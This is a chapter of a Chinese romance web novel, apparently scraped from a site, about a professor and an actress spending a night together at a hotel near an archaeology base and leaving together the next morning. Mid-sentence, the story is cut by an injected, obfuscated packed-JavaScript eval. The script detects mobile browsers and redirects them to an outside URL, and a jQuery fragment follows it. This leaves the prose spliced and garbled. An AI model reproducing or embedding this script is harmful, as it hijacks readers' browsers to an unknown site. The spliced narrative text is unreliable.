40. 第 40 章

作品:《请允许我翻遍世界只为寻你

    程以霜:“你就这样拖着行李箱去,也不怕没房。”


    “你不是有房间吗?”他眼睫垂了下来,唇角噙住一抹揶揄,“再不济我就勉为其难的跟你挤挤。”


    “……”


    她就说吧,没事招惹这位嘴上强者的教授做什么。


    果断换话题:“听王教授的意思,你要在基地待上一段时间?”


    “正常是这样的,要看后面的发掘情况。”他说的慢,连眼神也变得缓了不少。


    从她眉眼而下,最后掠过鼻尖,最后来到嘴巴。


    停了下来。


    程以霜毫无知觉,又问:“所以你也是考古队的?”


    “不算。”他说,“我只是来帮忙的。”


    说话间,6楼已经到了。


    宁初北跟着她身后走出电梯,问她房号。


    她往右边指了过去:“第二间。”


    指出去的手还来不及收,就被他一手攥住,拉着她往门口去。


    站定,目光朝她倾了下来。


    在他的注视下,程以霜慢悠悠的刷开了房门。


    “要、要进来坐坐吗?”她虚扶着门把,扭头来看他。


    答案不言而喻。


    宁初北先她一步将门推开,身体自然而然的挨了过来。


    而程以霜算是被他拥着进了房间,他另一只手还不忘将行李箱带进来,脚一勾,轻松把门关上。


    人就这样挨了上来。


    喷出来的气息就在她的额间。


    温温的,热热的,还带有一丝专属于他的松木清香。


    “明天早上想吃什么?”他问着,头跟着低了下来。


    “小米粥?”她之前来临安,发现这里的小米粥还算不错,就是不知道他吃不吃得惯。


    想问他,也来不及了。


    他脸很快贴了下来,以迅雷不及掩耳之势找到她的唇,想亲,又没亲。


    就那样维持了三秒,程以霜有点受不住的咽了咽口水,屏住的呼吸也开始跟着乱。


    他的唇就在眼前,他的目光还在她的唇上流连,可他却偏偏……


    伸手进围巾找到她的下巴,用大拇指轻轻把她的脸推了上来,就是不亲。


    很故意,也很撩人。


    程以霜不得不承认,宁初北磨起人来还真是有一套。


    “宁、宁……”初北。


    他仿佛就是在等这个瞬间,等她先受不住,再把唇含了下来。


    久旱逢甘露。


    大概描述的是这个吧。


    刚有点解渴,他双唇突然松了点力。


    像故意的那般,用他高挺的鼻子轻轻从她的鼻梁上蹭过。


    引得她睁眼看了过来,含着一腔挥散不去的情意。


    仅半秒时间,他顶在她下巴上的拇指稍稍用力,将她整张脸推了上来。


    又吮了下来。


    她闭眼享受。


    唇边的温热很快消失。


    就那样。


    吮一下,松一下。


    操控人心这件事,他比恺撒还厉害。


    “明天我打电话叫你起床。”他的手不知何时捧在她脸上,拇指贴在她的颧骨上轻轻摩挲,“留二十分钟给你洗漱和收拾行李够不够?”


    刚亲完,他嗓音微微暗哑,听进她耳里,都觉得暧昧。


    “收拾行李?”她眨了眨眼。


    “从基地那边去机场可以直接上高速,更近一些。”解释完,他问,“你买的机票是临阳机场的吧?”


    因为地理和文化保护等因素,临安并没有民用机场。


    他不确定程以霜买的机票是临阳的还是节勤的,毕竟临近临安且有民用机场的城市只有这两个。不过正常都是临阳,毕竟近不少,而且交通还方便。


    “嗯,临阳的。”


    “基地那边过去大概一个小时,遇上路况不好,就要预多二十分钟。”顿了下,他又不确定的跟她确认,“你是11:50的航班?”


    “49分。”她更加精确,还怕他预太多时间,又说,“我是商务舱,行李箱小,可以直接带上飞机,值机我也可以在去机场的路上网上操作,而且我常飞临安,所以对临阳机场很熟悉。”


    这一摞,跟汇报工作似的那么严谨。


    像是听出她的小心思,宁初北不由低声一笑,轻轻“嗯”了声:“那就十点之前必须出发。”


    除开路况,给她留了足够的时间去登机口。


    走的时间确定了,还剩明天起床的时间没敲定。


    二十分钟对她来说似乎有点勉强,如果说他们七点半就要从这里出发,她七点起似乎就差不多了。


    “那明天我们七点半准时在楼下集合?”说着,她两只手在他背后扣上了。


    他们抱的更紧了些。


    他垂眼看来,像是琢磨了下:“可以。”


    终于把所有的行程都落定,她突然将头埋进他的怀里,仿佛又尝到了分别的滋味。


    察觉到她的异常,他身体也挨了上来,将下巴放到她的发端上,声音温柔的不像话:“怎么了?”


    她情绪复杂,自行消化了几分钟后,在他怀里轻轻摇头。


    她明明什么都没说,可他好像知道她突如其来的情绪是因何而来。


    抬手拍了拍她的后脑勺:“《昭阳郡主》开机,我一定去。”


    这样一算,好像很快又可以见面了。


    她惊喜的抬起头:“真的吗?”


    “嗯。”他一派轻松,“反正我不是考古队的人,走个一两天不碍事。”


    她心满意足的垫起脚尖,亲了下他的唇角。


    男人意外的扬了下眉尾,这么开心?


    四目相视,暧昧横生。


    她又踮起了脚尖,吻上他的唇。


    一遍遍的撕磨,一步步的沦陷。


    吻到最后,先清醒的人是宁初北。


    他从情欲中挣扎出来,垂眼看着她,多了几分克制。


    “怎么了?”她皱起脸,看他,满眼不解。


    “没套。”他说的直白坦率。


    程以霜脸一红,略带娇嗔的推了他一把:“哪有你这样说那么直接的。”


    这让程以霜很难不去怀疑,之前碰了她内衣扣都会脸红的那个人真的是宁初北吗?


    他笑,抬手握住她半张脸:“勾引我的时候,九小姐好像比我更直接。”


    越说越让人面红耳赤。


    程以霜羞怯的将他推开,根本不敢看他发烫的眼眸:“快回你房间去。”


    没过于为难她,宁初北拾起地上的衣服,一件件穿好,推着行李箱回自己房间了。


    留下一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976679|158226||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    房旖旎,害得程以霜一晚不得好眠。


    次日早上七点二十五分,程以霜拖着行李箱准时出门,原以为他会在楼下大堂等,却意外的在门口碰见一袭黑色长款羽绒服的宁初北。


    还是第一次看他穿的那么年轻化,像个刚出校园的大学生,尤其是裤子上银色的荧光条。


    想起昨晚的事,程以霜一张脸还是忍不住红了下。


    “看什么?”注意到她视线所在,他自己也跟着看向裤腿,发现那两条引人注目的荧光条,笑了下。


    程以霜甩掉不健康的幻想,跟着笑:“这个牌子,这样的款式,我也有一条。”


    头扬了起来,特意说明:“是女款。”


    他知道。


    所以那天去商场偶然看见有同款的男裤,神差鬼使的买了条。


    可惜在学校一直没什么机会穿。


    “走吧。”他伸手来拿她的行李箱。


    这才注意到他两手空空,程以霜问他:“你行李箱呢?”


    “已经放车上了。”


    去买早餐的时候,顺便拿下去了。


    电梯里,程以霜将围巾往上拉了拉,遮住半张脸后,又把羽绒服的帽子戴上,瞬间把自己整张脸遮的密不透风,除了一双眼睛能暴露她外。


    宁初北不太懂她这个行为,其实不管她怎么裹,他还是可以一眼把她认出来,因为她最好认的部位就是眼睛。


    但女孩似乎没有这样的知觉,甚至还觉得自己伪装的很好,特意求夸:“怎么样,是不是完全看不出来是我?”


    完全可以……认得出来。


    对上她那双仿佛会说话的眼睛,他违心的点了点头:“嗯,完全认不出。”


    她开心的朝他比了个耶。


    有被可爱到,男人微不可察的勾了勾唇角。


    拉开车门,发现后车座堆满了小米粥和面馍,程以霜震惊的看向驾驶座的人。


    “给队里的人带的。”他说,“以你的名义。”


    人情世故这个东西,对常年混迹在娱乐圈的程以霜而言,早就是肌肉记忆。按理说,她应该想的比他更周到才对。


    看来“恋爱中的人智商为负”这句话是有点讲究的。


    从酒店往基地去,正好是上班高峰期的反方向,所以一路畅通。加上宁初北开的快,没到八点他们就到了目的地。


    一下车,宁初北就碰上跟他们一样刚到现场的一车学生,忙着抓了两个男丁当苦力。


    “这不是子午家的面馍吗?”其中一个男丁显然有点兴奋,“宁教授,您真是懂我们这帮没机会进城娃的胃啊。”


    男人跟着抱起一箱早餐,轻轻一句:“是以霜给你们买的。”


    四个学生一听,忙着呐喊:“师母威武!”


    “……”


    学生们身强力壮,对现场的路也熟悉,脚步生风,跑的嗖嗖快。


    等他们走远,程以霜忽然提出自己的困惑:“你教过他们?”


    “他们本科选修过我的课。”


    所以这一声师母,她当之无愧。


    某人突然唉声叹气了起来,接着含沙射影:“也不知道是谁,昨天还教育我,让我别太快暴露恋情,以免影响后续的宣发工作。”


    “……”


    宁初北忽然发现,他家女朋友有点记仇。